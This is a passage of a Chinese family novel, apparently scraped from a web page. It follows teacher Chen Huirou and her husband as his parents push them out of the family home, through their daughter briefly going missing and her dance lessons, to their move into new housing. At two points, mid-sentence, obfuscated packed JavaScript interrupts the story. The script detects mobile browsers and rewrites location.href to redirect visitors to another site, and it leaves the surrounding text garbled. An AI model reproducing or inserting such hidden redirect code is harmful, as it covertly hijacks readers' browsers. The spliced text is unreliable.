黄沐卿家就住在下市路,离学校也近,骑车十五分钟不到,跟华侨中学就隔一条河,过桥后不过五六百米。周边有小商店和菜市场,生活也很方便,在陈慧柔看来是很适合的地段。 “就是想了解一下市场行情。” 这可把黄沐卿难到了:“这我真不清楚,主要是周围也没有出租房子的,都是住家或者商铺,等我回去问问我爸妈?” 陈慧柔:“行。” 黄沐卿仔细打量陈慧柔,总觉得她有事瞒着自己:“你不会是想搬出来单住吧?” 陈慧柔没有把余家发生的事情说给黄沐卿听,毕竟算家丑,只说是为了以后考虑:“现阶段孩子还小,有公婆帮忙带的话我还送快些。等孩子大了,就得考虑现实情况了。” “未雨绸缪啊……也不是不行,那等我问完了打电话和你说。” “好。” 黄沐卿的行动力超强,当晚就给陈慧柔回了电话,一听价格,悬着的心都死了。挂断电话后,她坐在桌前发呆,怀里还抱着熟睡的余希柠。陈慧柔大致在脑海里过了一遍全年的收入跟支出,反复确认后彻底放弃这条路。 以她和余序洲的工资,根本负担不起租房后单过的生活,更何况还要养个孩子。只能祈祷余稚乔之前就是一时气上头,不会真的要搬回来住。 可惜事与愿违,该来的还是来了。 这天余光亮把余序洲叫到了阳台,说是有事商量,陈慧柔的心咯噔一下瞬间提了上来,砰砰砰直跳。她紧张地看向赵婷,张了张嘴还没说话,赵婷就已经心虚地背上包,说要去趟教会做礼拜,不等陈慧柔问话,换上鞋子就走。 房门砰的一声关上,委屈和害怕涌上心头,陈慧柔只觉得手脚发冷发麻,扶着墙艰难走回房间,神色未定地坐下。 阳台处,余光亮点了根烟,猛抽两口才出声:“你和慧柔娘俩,搬出去住吧。” 余序洲猛地抬头:“什么?” 他不敢相信自己听到的,扶着栏杆的手打滑了又慌忙攥紧,手指微微发颤。 余光亮叹气,吐了口烟,袅袅白雾遮挡不住他犯愁的表情:“稚乔和黄蕾总是吵架,老大夹在中间也难做。你和慧柔工作稳定又有能力,有自己的想法,也是时候出去独立了。” 又是这样的话,交还生活费的时候,就说他们有能力,该学着独立掌家。现在同样的说辞,是要把他们一家三口赶出去。 当初上陈家说亲的时候,明明白白承诺了婚后就住在家里,现在就为了余稚乔,要让他们搬走。 余序洲懂事以来,都没听说过镇上有这样的先例,这年头上哪找为了女儿,把儿子一家赶走的父母。 “爸,一时之间你让我们上哪去独立?独立也不是喊口号。我和慧柔就是份死工资,现在又多了个孩子,撑死就是糊口罢了,哪还有多余的钱去租房。” 余序洲脑海里闪过一种可能:“是不是大嫂赶稚乔?我去和大哥商量,稚乔在大哥家都住这么久了,总不能因为吵架就闹得互不来往吧?” 余光亮摆手,耐着性子跟余序洲解释:“和你大哥无关,是我和你妈的主意。我们就稚乔这一个女儿,舍不得她在外面受苦,她就一个人,不比你们都有家,有人撑腰。” 有人撑腰?撑什么腰啊! 余序洲一生气就嘴笨,明知道这事对他们来说是天塌了般的糟糕,可在余光亮面前就是说不出一句狠话,急得原地跺脚。 “你大哥也是结婚后就搬出去,到了你们这怎么就不可以了?”余光亮将烟头捻灭在花盆里,拍拍余序洲的肩膀:“我和你妈也不是立马就要你们搬,这不是刚好暑假,趁这个时间出去找找房子,头两个月的房租,我和你妈出,就当支持你们另立门户。” “支持?”余序洲气笑,“爸,你们也太偏心了。大哥搬出去,那住的也是自家房子,根本用不着花钱租房。再说了,这次的事情,大哥大嫂什么性子你们不清楚?就这么一味纵容稚乔只会让她越来越过分。” 余光亮提高了声量:“我们纵容她什么了?她就是想回到我跟你妈身边过日子,照顾我们二老!” “行,她最好是能一直陪着你们,别等到结婚就搬走了,那时看她还提不提养老两字。” 余序洲气愤离开,隔着一堵墙,屋里的陈慧柔也听到这最后几句话,有些意外余序洲的反应。 怕把坏情绪带给妻女,离开主卧后,余序洲没有回房,径直出门换鞋子下楼跑圈透气。 陈慧柔换了件衣服,又给余希柠换了新尿布和新衣服,戴上帽子和小被子,抱起孩子拿过桌上的车钥匙出门。 余光亮既然已经和余序洲开口,这事儿就没有回旋余地了,租房对他们来说太难,眼下又没有更好的办法。陈慧柔几度深呼吸吁气,反复调整情绪决定回趟娘家。 陈梓钰一见到余希柠来了,就围在她身边不走,细声细语地逗着妹妹。王君见陈慧柔满脸愁色,想着她一定是有事要跟家里人商量,就把俩小孩带到里屋里玩。 徐晓敏:“今天怎么就你自己过来?序洲呢?” “你们俩吵架了?”陈镇东接着徐晓敏的话问。 陈慧柔摇头,她攒了一路的话,来到父母面前又不知道该从哪里开始说。手指攥紧了又松开,她甚至觉得这一幕,和余稚乔哭着找余光亮夫妇那晚很是相像。 同样是女儿在外受了委屈回家和父母哭诉,余稚乔哭到了赵婷和余光亮的偏爱,那她呢。 接下来这些话说出来,家里会不会帮忙,兄嫂会不会支持。来的路上陈慧柔反复斟酌过,可在看到陈镇东和徐晓敏时,她又忽然退了几分笃定。 “不是吵架那是怎么了?”见陈慧柔迟迟不说话,徐晓敏急得咳了两声,“到底怎么了,你这来了也一句话都不说,是要急死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071792|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我?” “爸、妈,你们有没有认识什么朋友或者亲戚,能出租房子的那种,租金不要太贵。” “租房子?”陈镇东一听,眉头都皱起来了,“好端端的你问这些,你跟序洲要搬出来单住?” 陈慧柔低头绞着手里的帕子,深呼吸后坦白:“不是我们想搬出来,是公婆赶我们走。稚乔在她大哥家住得不愉快,和嫂子起了争执挨打,哭着跑回家闹着说要搬回去住。” 陈镇东回头看了徐晓敏一眼,像听到了什么天方夜谭一样,重复着跟陈慧柔确认:“你小姑子和嫂子吵架,挨了打,跑回家跟你公婆说要搬回去住?” 陈慧柔点点头。 陈镇东大手往腿上一拍,哭笑不得:“这像什么话?你公婆就允了?” “爸,我公婆最疼的就是这小姑子,人家可没有重男轻女的思想。” 陈慧柔一不小心就把心里话给说出来了,说完自己还有点心虚,见陈镇东没什么反应,才偷偷坐直身。 陈镇东又问:“这事,序洲怎么说?” “早上我公公把序洲叫过去,直接就说让我们利用暑假这段时间找找房子,找到了就搬出去,他们愿意给我们出头两个月的租金。” 陈慧柔冷笑了一声,一想到余光亮夫妇的嘴脸,浑身气不打一处来。 “序洲自然是不满的,狠话也说了,但没用,公婆心意已定。他和公公怄了气,怕我知道就没说,可屋子就那么小,那么大声说话我怎么可能听不见。” 徐晓敏揉了揉眉头,只觉得这事来得突然,棘手难办。 “你公婆真是老糊涂,留个姿娘在身边有什么用,过几年都嫁出去了难不成还能一直住在那?当初结婚前说得好好的,婚后就住在他家,不用出去找房子,现在好了,希柠还那么小,闹什么分家。” 陈镇东虽然是个粗人,但在这件事上拎得清,“你那公婆这事办得不敞亮,传出去得被人笑话。” 徐晓敏:“现在不是评价她公婆的时候,租房的话,租金这块你们能负担得了吗?还要养孩子,这开销可不小。” 教师职工工资不高,徐晓敏知道陈慧柔嫁过去后一直把工资交给公婆去理,自己肯定没存过私房钱,现在突然要他们出去租房,没积蓄没高收入,还要养个小孩,也难怪她愁成这个样子。 “要不和你小姑说一声,问问你姑丈工地那的厂房还有没有空的?可以让你们搬进去先过渡一段时间。” 陈镇东话音刚落,就被徐晓敏推了一把,嫌弃道:“你都说了那是工地厂房,他俩能去吗?还有个小孩子在,瞎说什么。” 陈慧柔:“我之前托沐卿问了下市路那里的房价,根本负担不起。” 厅里陷入漫长沉默,从前没结婚,搬哪就是多张床的事,挤一挤都能塞得进去。现在是一家三口,确实犯愁。 陈镇东郁闷得烟瘾都犯了,抓起一包烟就往屋外走,只剩徐晓敏和陈慧柔母女,谁也没有开口说话。 攥紧的手指渐渐松开,像已经知道求助无用一般,放弃了。陈慧柔认清现实,这里不是余家,眼前的父母也不是余光亮和赵婷,溺爱女儿只是个例。 “妈,我……” “你们副校长……” 两人同时出声,一个失落提不起劲,一个像是想到了办法变得兴奋。 陈慧柔愣了下,话也不继续说了,就只是看着徐晓敏。 徐晓敏指着墙上的日历问她:“你们副校长是不是上学期就退休了?” “是啊,前几天在学校给学生发毕业证书的时候,楚新伯还在跟我打招呼。怎么了?” “如果我没记错的话,他在学校是有个小休息室的,要是退休了,那这间休息室能不能申请给你们暂住?” 王楚新是徐晓敏的老朋友,父母自小就交好,两人也是一个地方长大的,后来都入了教育线,关系一直不错。 陈慧柔刚进学校的时候,王楚新就很照顾她,两家人也常有来往,后来陈镇东开了面包店,一有新品面包都会第一时间让陈敬涛送去给王楚新的孙子孙女吃。 “那是学校的房子,不能够吧?”陈慧柔也不确定。 “又不是买卖,再说了你也是学校的老师,如果情况特殊去申请,未必不可以。”徐晓敏喊了陈镇东一声,“老陈,收拾一下,我们赶紧去一趟楚新家坐一坐。” 徐晓敏片刻不想耽误,拄着拐起身就想赶紧把这事给办了。 很快,房子的事,在徐晓敏和陈镇东出面帮助下解决了。因为是看着长大的孩子,又是特殊时期,王楚新答应借出休息室,分文不收,不存在交易关系。 但对外,特别是在公婆面前,陈慧柔还是说,是跟学校租的房子,余光亮和赵婷答应给前两个月的租金,他们照旧收,用来添置些二手旧家电用。 新学期开始,陈慧柔和余序洲迎来了属于自己的小家生活。 16. 走丢 从前有公婆帮忙带孩子,搬出来后,陈慧柔和余序洲都要上班,孩子没人带,陈镇东要忙面包店的生意,徐晓敏身体又不好,不敢跟陈慧柔认领这么小的孩子。 后来是王君主动说,可以帮忙带一个学期,等陈慧柔放寒假了就有时间自己照顾孩子了。现在陈梓钰也长大了,上小学也不需要她怎么管,王君把孩子带去面包店,陈梓钰放学了还能和妹妹玩。 陈慧柔感激涕零,另一边也抓紧想办法,在其他老师介绍下,她认识了保姆刘姨。刘姨是学校门口文具店老板的亲妈,她家也有个跟余希柠年龄相仿的孩子在带。 考虑到离得近,又是知根知底的邻居,俩孩子还能作伴,陈慧柔和余序洲商量后,决定年后新学期开始,每个月花50块雇刘姨在上班时间帮忙带孩子,余序洲下了班就会去接。 在带娃这方面,余序洲没得说,把自行车前面进行改造加了个小皮座,座位底下垫了软软的毛毯,周围还包了一层挡风布,孩子坐着不会被风吹感冒。从外面看就剩俩小脚丫在半空中晃荡晃荡,要觉得冷就搭在脚踏上,藏进挡风布里。 余序洲下班回家第一件事就是接余希柠出门玩,饭点才回来。不到一年时间,余希柠几乎把整个小镇都逛遍了,以至于长大后不认路,没少被余序洲骂—— “这些地方我小时候都带你来过的,你就一点印象都没有吗!” 余希柠委屈巴巴,不会说话的年纪怎么可能会认路! 因为去年带的毕业班成绩不错,九月份开学,教学任务安排下陈慧柔又是和黄沐卿搭档,接手五年级。学校为了升学率,从五年级开始,每天下午的自习课都改成小考,语数英三个科目轮着来。 现在已经是第二学期了,陈慧柔每周都在忙着出卷子、改卷子、讲卷子,根本没时间带余希柠玩。余希柠有时候闹着要找妈妈,刘姨就会带她去附近的幼儿园看小朋友表演节目,小希柠抓着栏杆站在垒高的石头上,一听音乐就不哭闹。 幼儿园和小学隔着一条街,刘姨带着余希柠去的频次多了,周围人就都知道,这是陈老师的女儿。校园广播一响,余希柠必定会扯着刘姨的袖子去看表演。 这天,刘姨的孙子吃坏了肚子,临出门前闹着要上厕所,刘姨只能放下余希柠,叮嘱她坐着等自己。谁知等她从厕所里出来,铺里铺外都不见余希柠踪影。 刘姨吓坏了:“希柠!希柠!” 四处找了一圈,还问了周围经过的人,纷纷说不知道,刘姨吓得脸色苍白,满后背都是汗。 “这可怎么办!我要怎么跟陈老师交代啊!” 正在办公室改卷子的陈慧柔听到传达室郑老师送来的消息,瞬间觉得天塌了似的,起身时眼前一阵青白,猛地一晃差点栽倒在地上,幸好被黄沐卿扶住了。 黄沐卿也吓了一跳,抬头问郑老师:“什么时候的事?她在哪不见了的?” 郑老师急得把话又重复了一遍:“说是在文具店里,刘姐抱孙子去上厕所,等出来就不见希柠了。” 黄沐卿:“文具店老板呢?” “那个时间点没生意,老板上楼睡觉去了。” “找,赶紧找。” 陈慧柔听不下去了,一颗心扑通扑通跳得厉害,感觉头皮都发麻揪在了一起,她攥着黄沐卿的手止不住在发抖,她不敢想余希柠要真丢了该怎么办。 黄沐卿扶着陈慧柔站好来:“我没课,我陪你去找,郑老师,麻烦你给序洲老师打个电话说一下情况。” 校外,刘姨也没停下找孩子,两条巷子都走了个遍,见到人就抓过来问,直至问到路口摆摊卖豆腐的英姐,对方见她抱着自己孙子,都愣了。 “刘姨你怎么在这,你抱着小东,那陈老师的女儿呢?” “就是说啊!我上个厕所的功夫,出来人就不见了,你见到希柠了吗?” 刘姨急得满头大汗,脸色煞白,声音颤巍巍的,都吓得有哭腔了。 英姐指了指对面的幼儿园:“我刚好像看到她往幼儿园那去了,广播不是响了吗,我以为你带着她去看小朋友们做操了。” 刘姨经人提醒,恍过神来:“对对对,广播响,到时间做操了,我去看看。” 刘姨赶到幼儿园门口就看到站在石阶上扒拉着栏杆张望,不时扭动屁股的余希柠。那一瞬间,她双腿都软了,忍着眼角的泪水一步步走上前去,抱着余希柠嚎啕大哭。 “我的小祖宗啊,你可吓到我了。” 孩子找回来了,陈慧柔抱紧余希柠不放手,小姑娘压根不知道妈妈在哭什么,只觉得妈妈很久没这么抱着自己,也乖乖趴在肩头眨眨眼。 文具店的老板娘和刘姨不停地道歉,还把这个月的50元都退了回来不敢收。这孩子要是丢了,都不是50元那么简单。 陈慧柔没收,只是抱紧余希柠,心有余悸。 余序洲下课接到消息赶回来的时候,孩子已经找到了,但心里还是又气又后怕。 他一路上踩着自行车,眼睛四处张望就怕有人抱着自己的孩子跑了,兴许会被他撞见也说不定,不敢漏掉任何一张孩子的脸。 “回来后我反复问过希柠,是不是她自己去的幼儿园,她都说是。刘家人应该没撒谎。” 听了陈慧柔的话,余序洲都有些不相信:“她自己去?这么点大的人怎么敢啊。” “不管过程如何,总之我是怕了。”陈慧柔看着在地上玩积木的余希柠,心下决定:“以后我自己带她,你下了班就回来接我。” 余序洲心里本不大痛快,乍一听陈慧柔这么说,思绪都捋不过来:“你自己带?怎么带?你不用上班吗?” “我不上课的时候就把她带在身边,上课的时候就把她塞讲台底下,让她自己玩玩具,不哭不闹的不会影响课堂纪律。” 余序洲看了眼余希柠,小小的缩成一坨趴在那拼积木,课堂时间四十分钟,她真待得住? “我还是觉得不太靠谱,要不我去问问爸妈,带一个也是带,两个也是带,他们能带清越,也能带希柠。” “不行。”陈慧柔挺直了腰板,咬牙:“我就是自己扛,也绝对不会求助你爸妈。希柠刚满一岁,他们就迫不及待就把我们赶出家门,都不曾看在孩子的份上心软过。现在怎么可能还会帮我们带。醒醒吧余序洲,求人不如求己。” 余序洲脸色不好看,偏偏陈慧柔说的也是事实。 “就这么定了,明天开始我试试看,你下班了就赶紧回来接孩子。” 余序洲伸手抹了把脸,妥协道:“好。” 次日一早,陈慧柔提前从家里拿了两件穿不下打算扔掉的旧衣服去布置讲台底下的空位,铺了厚厚三层,用手拍了拍确认软和。又用抹布把讲台里里外外擦了好几遍。 黄沐卿上的早课,一上讲台都愣住了。一节课四十分钟坚持下来,硬是控制住自己的脚不往里踩。下了课还不忘吩咐前排同学,盯紧了别让同学踩到地上的垫子。 回到办公室,黄沐卿一眼就瞧见了坐在椅子上小小一坨人儿,下巴搭在林老师的胳膊上,正津津有味听着故事。 “哎哟慧柔,咱一定得这样吗?我是指讲台底下那窝,希柠能在里面待四十分钟?我不信。” 黄沐卿洗干净手,逗弄余希柠,小家伙听故事听得正入神,不耐烦地躲了一下,脸抬都没抬。 “别带去教室了,我们帮你带就行。” 陈慧柔收拾好书本,过来准备抱余希柠:“你有作业要改,林冉待会也有课,我先试试,不然怎么知道以后行不行。来,希柠,跟妈妈去上课。” 在故事和妈妈之间,余希柠还是选择后者,立马张开俩小藕段似的手,哼哼唧唧。 陈慧柔在讲台底下放了很多新玩具,余希柠很快就适应了,偶尔发出点小动静但不多,一节课顺利结束,陈慧柔后背一阵汗。 因为是连堂,课间休息十分钟里陈慧柔就没离开教室,留在那给学生答疑,几个喜欢小孩子的班干部去逗余希柠玩,她乐得咯咯笑。 事情比预想中的要顺利,陈慧柔总算松了口气。 教室讲台底下成了余希柠成长过程中一个很特别的地方,不提什么学龄前儿童接受知识的启蒙,只提那段自由又有趣的神秘时光,仿佛只要躲进那里,她就可以想睡就睡,想玩什么玩具就玩什么玩具。 三岁后,余希柠上了幼儿园,调皮劲让老师们头疼不已。 上课爱说悄悄话,也不知道上哪学的晃椅子,整个人往后倒,椅子俩前腿不时离地,就这么晃着晃着一个不小心往后仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余序洲按着陈慧柔,只觉得额角突突疼:“你也是当老师的,不知道老师的注意力有限?眼睛又不是雷达能时刻锁定每个孩子,总有看漏的时候。再说了,是希柠自己玩的椅子,人家老师顶多就是看顾失责,道歉了,医药费也出了,还要怎样。” “她怎么玩的椅子,你给我示范一遍。” 外厨房的灯光照在余序洲和陈慧柔脸上,情绪毕现。一个心虚紧张,一个强势严肃。余序洲叹了口气,关上火,拿起盘子把菜盛好了端进屋。 “你坐下,我示范给你看。” 余序洲真的搞不懂自家闺女在模仿这条路上为什么能走得那么快准稳,他平日里在家闲聊时晃椅子的动作,竟被她不知不觉学了去。 下午老师当着他的面还原了一下动作,那一瞬间余序洲真恨不得找条地缝钻进去,脸上青一阵红一阵。 陈慧柔也是一看就反应过来,重重给了余序洲后背一巴掌。 “我都说了!让你在家要做好女儿的榜样,你就是不听!” 余序洲无辜又委屈地搓着挨打的地方:“我哪知道她连这些都学,平时我也没看她在关注我啊!” “父母就是孩子的榜样,是镜子,一言一行都被孩子看在眼里,会模仿会依样画葫芦,你是老师你连这点常识都不知道?” 陈慧柔真是生气,恨不得再给余序洲一拳。 “以后不准你把在办公室里那些陋习给带回家来!” 余序洲听不得陈慧柔这么大声吵吵,提醒她:“消消气,你也小点声,温柔点,不然也会被希柠学了去。” 一听这话,陈慧柔下意识看向余希柠,果不其然对上她那双葡萄似的圆眼睛,心虚不已:“我在跟你爸爸玩游戏,别当真。” 余希柠:“……” 余序洲火速给陈慧柔递筷:“别生气了,吃饭吃饭。来,柠柠跟爸爸去洗手手,然后吃饭。” 陈慧柔:“你小心点别碰到她伤口。” 余序洲:“知道了。” 自那之后,余序洲和陈慧柔在家里自觉规范言行,不时提醒对方—— 吃饭不能发出吧唧嘴的声音,走路的时候要轻手轻脚不要趿拉着鞋发出大动静,看报纸看电视要端正坐姿不能歪倒在沙发上…… 余序洲觉得,只有余希柠睡着的时候,他整个人才是自由的。 17. 学舞 周末,陈慧柔带着余希柠去陈敬涛家。 王君前两年生了个男孩,取名叫陈梓航,小余希柠两岁,这会儿正是奶娃娃。余希柠对这个小弟弟颇为喜欢,没事就吵着要去找弟弟玩,陈梓钰则十分警惕这个调皮妹妹,生怕她弄哭陈梓航,每次都会像安保一样站在旁边盯着。 大人看了哭笑不得,觉得这三个人搭档特别有趣,一个管着一个。 陈梓钰已经上小学三年级了,性子温和有礼貌,学习成绩也非常优异,还是班干部,往那一站就是三好学生的模样,陈慧柔特别喜欢她,总是念叨着余希柠长大,要是能像陈梓钰一样让人省心就好。 偏偏,余希柠是个反例。 调皮捣蛋,爱学习的苗头一点都看不到,闯祸的劲倒是与日俱增,没少让陈慧柔头疼。 因为从小跟在陈慧柔身边,经常看到学生来跟老师打报告告状—— “老师,今天某某某上课睡觉不认真听讲,作业还不肯交。” “老师,某某某放学在学校门口巷子那打画片玩弹珠,上课还偷看小人书。” …… 余希柠旁的没学会,也学会了打小报告,见陈梓钰边写题边偷偷吃抽屉里的糖,她转身就跑下楼去找陈敬涛,告知此事。 陈梓钰挨了骂,糖也被没收了,可就是想不通爸爸为什么会知道这事,她明明把糖藏得很严实的。 1999年,二中建了新的教师宿舍,去年刚调动过来的余序洲也有分房名额。在校教师通过提前登记后按工龄和工作绩效筛选,余序洲报了名并顺利分配到一间小三房居室。 一家人即将拥有新房子,再也不用担心小学随时把休息室的使用权给收回去,无家可归。 最开心的还是余希柠,她不喜欢小平房的生活,特别是下雨的时候,加高的门板都挡不住水倒灌进屋子里,爸妈忙着收大水,她忙着躲避无处不在的大蟑螂。 蟑螂会游泳这件事,一度让余希柠颇为恐惧。 总而言之,一切都在向好发展,苦尽甘来,白手起家,大约就是如此。陈慧柔拿着钥匙推开家门的那一刹那,脑海里闪过无数细碎的画面—— 有陈敬涛结婚前,父母商量让她搬到小姑家住,一辆三轮车载着她为数不多的行李搬进西厢房的画面; 有公公跟余序洲说让他们搬出余家,把房间腾出来给余稚乔的画面; 有她茫然无措向父母求助租房的画面; …… 她垂下眸极力掩饰情绪里的起伏,在余希柠快乐奔跑在新家发出的欢笑声后渐渐拉回思绪,迈过门槛石。 一切又是新的开始了,陈慧柔。 不用再小心翼翼地试探别人,也不用再做被驱赶的角色,眼前这一切是属于自己的,再无旁人可以指摘。 千禧年的春节比往年更加隆重,镇上大年初一一上午有营锣鼓班表演。张灯结彩、鼓乐喧天,各单位都有演出队伍,一大早吉时整会在政府面前广场进行文艺表演。 陈慧柔是年级干部,今年被安排负责学校营锣鼓班的文艺汇报演出,放寒假了也得回学校带着学生训练跟彩排。余希柠跟着陈慧柔一块去,那是她第一次见到布马舞。 马身是用竹篾编成的,腰脊坐骑处有个空洞,人身穿过宛若骑在马背上,旁边还有系带,表演时须挂在肩上,再穿上斗篷。服饰可以挡住系带,不仔细看发现不了腰脊坐骑处的空洞,使得表演者骑马姿势非常逼真。 绸缎布帛作皮毛,下半部分用围布遮挡表演者腿脚,马脖子上系着小铜铃铛,舞动时会发出清脆的声响。 不仅布马身装饰精美,表演者装扮也是极具英色,手执马鞭勒马辔,头戴太子蕊、帅盔、扎镫、额子等,根据不同角色调整细节装扮和服饰颜色,精致又颇具传统艺术审美。 余希柠拨弄着山鸡尾巴组成的翎毛,看着哥哥姐姐们精致的妆容,对陈慧柔说:“妈妈,我也想学布马舞。” 陈慧柔正因为负责鼓队的学生没练好,导致节奏混乱而忙得焦头烂额,乍一听女儿这句话,气不打一处来:“学什么不好,学这个做什么。” 余希柠颇为不解:“学这个,大年初一可以上街表演啊。” 旁边的哥哥姐姐都笑了,陈慧柔把她拎到台阶上:“去楼上找校长伯伯玩,结束了妈妈喊你回家。” 余希柠依依不舍地上楼,边上台阶还边回头看,楼下鼓点声又响,小铜锣一敲,她又不由自主地停下来看抖鞭走马。 “小希柠,你站那做什么,危险得很,过来过来。” 黄校端着杯茶出来看楼下排练进度,发现了楼梯口一个张望着的小身影。 千禧年是一个千年周期的结束,也是新千年的开始。跨世纪的新年汇报表演,上头格外看重,学校年前加紧排练,黄校长也得来监督跟进。 “黄伯伯好。” 对黄校长,余希柠一点都不怵,小时候她就没少去隔壁校长室玩。陈慧柔有时候忙于批改作业,一不留神,小家伙就摸到隔壁去串门。 黄校长有个外孙女和余希柠差不多大,所以他对余希柠就像对待自家孙女一样和蔼可亲。时常在她因为陈慧柔不在就哭闹不听话的时候,主动揽过,哄着给她小手画手表,告诉她只要时间一到,妈妈就下课了,她就可以和妈妈一块回家了。 有段时间,余希柠左手腕上都是用圆珠笔画的手表,洗澡都舍不得洗掉,一褪色就去找黄校长补。 “来,你妈妈在忙,你在伯伯这画画等她。” 黄校长搜罗出一个空白的美术本和两只水彩笔递给余希柠,今日的她却没往常接得那么积极。 “黄伯伯,你不觉得布马舞很新奇吗?过年的时候才能看到,平时我在路上都没见过。” 余希柠趴着桌子上问黄校长:“我想学,可妈妈不让我学。” 黄校长都听笑了,好奇道:“你怎么突然想学这个?” 余希柠的回答简单又出乎意料:“可以画漂亮闪闪的妆,还可以在很多人面前去表演,很有面子。” 黄校长听了哈 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“头摔笨了?什么意思?” 余序洲都听糊涂了,正好陈慧柔换完衣服出来,无奈解释:“今天学了个下腰的动作,其他小朋友在老师帮助下都做到了,有的胆子大,都不用老师扶就能下去,唯独你闺女,怎么都不敢。说是怕掉下去撞到头。” 陈慧柔负责接送余希柠上兴趣班,课程结束后和老师简单交流了一下,老师的意思是,余希柠聪明,动作学得快,就是胆子一般,好些需要挑战的难度动作,她还没做就先怕了,最后就做不好。 “我看到有小朋友就摔了,头砰的一声,疼得直哭。” 说完余希柠还揉了揉自己脑袋,好像摔到头的人是她自己一样。 余序洲听了,煞有其事地点头:“好像确实危险,要不不学舞了,学画画怎么样?” 陈慧柔一听,怒瞪余序洲:“我警告你啊,别教坏你女儿,三天打鱼两天晒网,一学期的学费都交了,怎么都得给我练!” 余希柠撅着小嘴,可怜兮兮:“妈妈,你怎么强迫别人做不喜欢的事情呢。” 小不点控诉得有板有眼,也不知道上哪学的,倒让陈慧柔听笑了:“我提醒你,当初是你自己说要学跳舞的,吵着闹着让我买舞蹈服和新舞鞋,现在一点困难你就退缩了,不怕其他小朋友嘲笑你?晚上睡前在床上练下腰,练到敢下为止!” “呜呜呜好凶。” 见余希柠还捂着脑袋,余序洲提醒她:“在床上练,床垫是软的,摔了也不怕疼。” 余希柠扁着嘴,眼角挂着两滴泪水看着余序洲,话都不会说了。 当晚陈慧柔负责监督余希柠练习下腰动作,练了差不多有十次,终于可以不用扶着她的腰,看她自己下去。 “还有什么难度动作你不敢的?一次性都来练几遍。” 余希柠瞬间装困,躺在床上不起来了。 18. 乖孙 九月,余希柠成了实小一年级新生,国庆前学校有文艺汇演,音乐老师想从班上选十位有舞蹈基础的同学表演《七色光》,余希柠被成功选上。从那之后,她又短暂爱上了跳舞。 漂亮的仙女裙和羽毛串珠头饰让余希柠喜欢得不得了,每天上学就盼着下课去草坪练习。撕日历是每天必做的事,因为她比谁都更盼着国庆快点来。 演出结束那天,余希柠惆怅地坐在单车上,抱着陈慧柔小声啜泣:“妈妈,那个弹琴的姐姐好厉害,我也想学电子琴。” 陈慧柔咬牙,恨不得把她从车上丢下去。 国庆假期,余希柠又能去舅舅家玩,饭刚吃完就开始催陈慧柔,余序洲看不惯妻子老把孩子往陈敬涛家带,不敢直接说,转头问余希柠。 “希柠,你怎么只跟梓钰梓航玩,不想找清越姐姐吗?”他抓紧漱口,换上外套,“爸爸带你去大伯家找清越姐姐吧?” 小孩聪明得很,直接拒绝:“我不去。” 余序洲:“为什么?” 余希柠:“清越姐家的玩具不多,还脏兮兮的,不好玩。” 脏是因为余序南开的电器维修铺,这几年生意做的不错,单接得多,有时候旧电视都得往屋里堆,孩子都没什么玩的地方。 “我哥那儿小朋友多,玩具多,她自然喜欢。要不我把清越也接过去一块玩?反正也顺路。” 陈慧柔提了个看似很不错的建议,余序洲却半点不领情。 “我就不懂你怎么一有时间就把孩子往你大哥家带,我们自己带她出去玩不行吗?” “我有我的打算。”陈慧柔推着余序洲回房间,一边换衣服,一边解释,“希柠是独生女,没有亲手足可以撑腰依靠,他们这一辈不比我们,孩子少。小时候要是不走得亲近些,长大了很容易就疏远了。” 陈慧柔抬头看向余序洲:“你和你的表堂亲,现在是不是联系很少?” 被戳中的余序洲半天不吭声。 陈慧柔语气平平:“我就是希望希柠以后能跟他们这些表堂亲些,长大了不会是一个人,有兄弟姐妹互帮互助。我这盘算,有错吗?” 余序洲点点头:“嗯,没错。” “中午希柠在大佬家吃饭,我要去我妈那,你看你自己是在家吃还是也去我哥家。” 徐晓敏自从生病后就搬出了陈敬涛家,说是要住回原来后街巷的老房子,心里会舒坦些。她其实就是不想打扰到儿子儿媳现在的生活,这点陈慧柔看得明白。 徐晓敏的病是帕金森,时而清醒,时而糊涂,行动迟缓有时候都不受控制会摔倒、打翻东西。晚上睡也睡不着就躺在床上唉声叹气,她自己也不能控制。 眼看着周围人对自己的眼光越来越厌恶,徐晓敏的自尊心也受到了伤害。不论孩子说什么,她就是坚持要搬走,无奈之下陈敬涛只得重新打扫翻修老房子,又给徐晓敏找了个保姆,可以照顾她饮食起居,晚上起夜上厕所。 “我和你一块去妈那吧,跟爸说会话也行。” 近两年陈镇东的性子暴躁得很,本就是大男子主义,成天要人伺候着,现在伺候他的人生病了,反过来事事要他帮忙。可陈镇东就是做不来啊,徐晓敏没怨,他自己反倒先发脾气,嫌这嫌那。 小辈不在的时候,他动不动就发脾气,保姆都被吓走了好几个,也就是陈慧柔去的时候,他的态度能温和些,不是因为陈慧柔会哄人,是因为她会干活。 陈镇东做不了的,就都等着陈慧柔来。 “行,那换衣服准备出门吧。” 余希柠不太喜欢去外公外婆家,进去后待了不到十分钟就跑出来外面玩,总觉得屋子里有股怪味,不好闻。 她拿了根粉笔在天井处画图案,不过瘾,又在地上画了几个格子,自己在那单脚、双脚交替着来回跳来跳去。老房子这儿没有玩伴,余希柠一个人玩了会就累了。 她坐在天井盖上,不时抬头透过窗户,能看到陈慧柔照顾徐晓敏的画面。 徐晓敏手抖得厉害,碗都拿不住,陈慧柔接过碗勺慢慢喂她,细声细语说着什么,徐晓敏不是轻笑就是点头。 余希柠极少见到妈妈如此温柔的样子,有点看愣神了。 屋里,陈镇东一个劲地发牢骚,说徐晓敏晚上起夜的频率太高了,吵得他都睡不着。新来的保姆觉又沉,有时候他被喊醒,保姆都没醒。 